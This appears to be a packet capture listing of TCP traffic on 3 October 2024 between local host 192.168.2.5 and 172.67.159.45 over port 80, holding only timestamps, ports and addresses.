Oct 3, 2024 05:02:56.543138981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.543164015 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.543184996 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.543184042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.543184042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.543184042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.543210983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.543243885 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.543246031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.543267965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.543287992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.543292999 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.543309927 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.543322086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.543342113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.543361902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.543941021 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.543955088 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.543983936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.543999910 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.544034958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.544034958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.544058084 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.544073105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.544100046 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.544111967 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.544122934 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.544131994 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.544148922 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.544171095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.544336081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.544354916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.544378996 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.544389009 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.544400930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.544405937 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.544430971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.544456959 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.544828892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.544847965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.544879913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.544882059 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.544902086 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.544905901 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.544925928 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.544928074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.544949055 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.544950962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.544967890 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.544972897 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.544991970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.545016050 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.547728062 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.547786951 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.547795057 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.547842979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.547888041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.547902107 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.547931910 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.547935963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.547956944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.547962904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.547976017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.548007011 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.548022985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.548041105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.548065901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.548072100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.548095942 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.548100948 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.548116922 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.548119068 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.548139095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.548155069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.548207998 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.548255920 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.548497915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.548516989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.548542023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.548544884 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.548559904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.548564911 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.548580885 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.548585892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.548599958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.548608065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.548629045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.548649073 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.630650997 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.630671024 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.630703926 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.630724907 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.630747080 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.630772114 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.630968094 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.630968094 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.630969048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.630969048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631050110 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631084919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631108046 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631129980 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631151915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631172895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631196022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631220102 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631242990 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631318092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631319046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631319046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631319046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631319046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631319046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631319046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631319046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631422997 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631428003 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631480932 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631493092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631503105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631522894 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631531000 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631548882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631548882 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631570101 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631582975 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631588936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631603003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631628036 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631648064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631648064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631650925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631668091 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631673098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631695032 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631714106 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631714106 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631719112 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631733894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631741047 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631763935 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631767035 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.631783962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.631812096 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.803352118 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.803467035 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.803484917 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.803502083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.803533077 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.803548098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.803551912 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.803577900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.803577900 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.803577900 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.803599119 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.803608894 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.803631067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.803633928 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.803648949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.803659916 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.803677082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.803677082 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.803699970 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.803703070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.803719997 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.803724051 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.803744078 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.803746939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.803764105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.803795099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.803817034 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.803828955 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.803828955 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.803838015 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.803860903 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.803877115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804143906 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804163933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804192066 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804224968 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804311991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804341078 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804357052 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804359913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804385900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804387093 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804405928 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804408073 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804421902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804428101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804452896 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804466963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804467916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804466963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804496050 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804498911 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804517984 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804518938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804538965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804541111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804560900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804562092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804579973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804589033 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804605007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804608107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804625034 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804625988 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804646015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804651976 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804670095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804672956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804696083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.804697990 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804717064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.804733038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805083990 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805100918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805135012 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805166006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805257082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805277109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805310011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805310965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805326939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805329084 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805347919 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805358887 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805380106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805387974 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805399895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805408001 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805425882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805427074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805444956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805449963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805469990 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805470943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805490017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805493116 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805512905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805516005 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805531979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805536985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805552959 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805558920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805573940 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805581093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805603027 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805605888 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805624962 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805627108 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805645943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.805645943 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805687904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.805687904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806245089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806271076 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806292057 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806302071 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806312084 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806319952 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806337118 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806339025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806360960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806368113 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806385040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806385994 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806411028 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806412935 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806427956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806431055 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806447983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806453943 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806463003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806478977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806490898 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806494951 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806512117 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806515932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806535959 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806538105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806555033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806557894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806580067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806580067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806598902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806598902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806622982 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806642056 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806644917 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806664944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806667089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.806682110 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.806729078 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.807275057 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.807297945 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.807316065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.807322025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.807342052 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.807343960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.807362080 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.807362080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.807382107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.807394981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.807420969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.807424068 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.807440996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.807467937 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.809149981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.809205055 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.809228897 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.809247971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.809274912 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.809318066 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.809320927 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.809334993 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.809366941 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.809367895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.809382915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.809386969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.809411049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.809422016 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.809441090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.809478045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.809752941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.809767008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.809796095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.809803963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.809818029 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.809823990 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.809839010 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.809839964 CEST	80	49705	172.67.159.45	192.168.2.5
